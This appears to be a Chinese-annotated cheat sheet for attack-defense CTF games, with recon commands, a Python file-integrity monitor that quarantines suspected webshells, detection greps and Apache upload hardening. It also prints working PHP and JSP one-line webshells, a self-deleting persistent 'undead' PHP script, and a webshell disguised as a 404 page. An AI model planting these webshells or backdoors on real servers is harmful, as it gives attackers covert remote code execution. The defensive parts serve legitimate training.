tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

uname -a  #系统信息
ps -aux -ps -ef #进程信息
id   #用于显示用户ID，以及所属群组ID
netstat -ano/-a #查看端口情况
cat /etc/passwd #用户情况
ls /home/ #用户情况
find / -type d -perm -002 #可写目录检查
grep -r “flag” /var/www/html/  #查找flag

passwd username    #ssh口令修改
set password for [email protected] = password('18ciweufhi28746'); #MySQL密码修改
find /var/www//html -path '*config*’  #查找配置文件中的密码凭证

# -*- coding: utf-8 -*-
#use: python file_check.py ./

import os
import hashlib
import shutil
import ntpath
import time



CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return None

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
                except:
                    value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'---------start------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] pre work end!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] webshell find : ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : file move error: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] file had be change : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] log error : done_diff: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())

find /var/www/html -name *.php -mmin -5 #查看最近5分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件，一般有可能是一句话木马
grep -r --include=*.php  '[^a-z]eval($_POST'  /var/www/html    #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more #在Linux系统中使用find、grep和xargs命令的组合，用于在指定目录（/var/www/html）下查找所有以.php为扩展名的文件，并搜索这些文件中包含字符串"eval("的行。
#使用more命令来分页显示结果，以便在输出较长时进行逐页查看

<?php @eval($_POST['shell']); ?>

<?php @eval($_REQUESTS['shell']); ?>

<%Runtime.getRuntime().exec(request.getParameter("shell"));%>

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = 'kill.php';
    $code = '爱咋写咋写';
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" kill.php');
          usleep(1000);
    }
?>

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

</body></html>

<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found');

?>

userdel -r username
//userdel 是用于删除用户的命令，-r 参数表示同时删除与用户关联的文件和目录。username 是要删除的用户的用户名。

alias cat="flag{this_ls_fakall_flag}"

alias cat="echo `date`|md5sum|cut -d ' ' -f1||"

kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'

netstat -anp  #查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口
firewall-cmd –reload #防火墙重启

<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes            //禁用了目录中的 CGI 执行和目录索引（显示目录内容列表）功能。
AllowOverride None                   //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml  
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml      
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下，这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含（SSI）文件类型。
php_flag engine off     //这个指令将 PHP 的引擎标志（engine）设置为关闭状态，从而禁用了在该目录中执行 PHP 脚本的能力。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch>  //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件，并将其访问权限设置为拒绝所有
</Directory>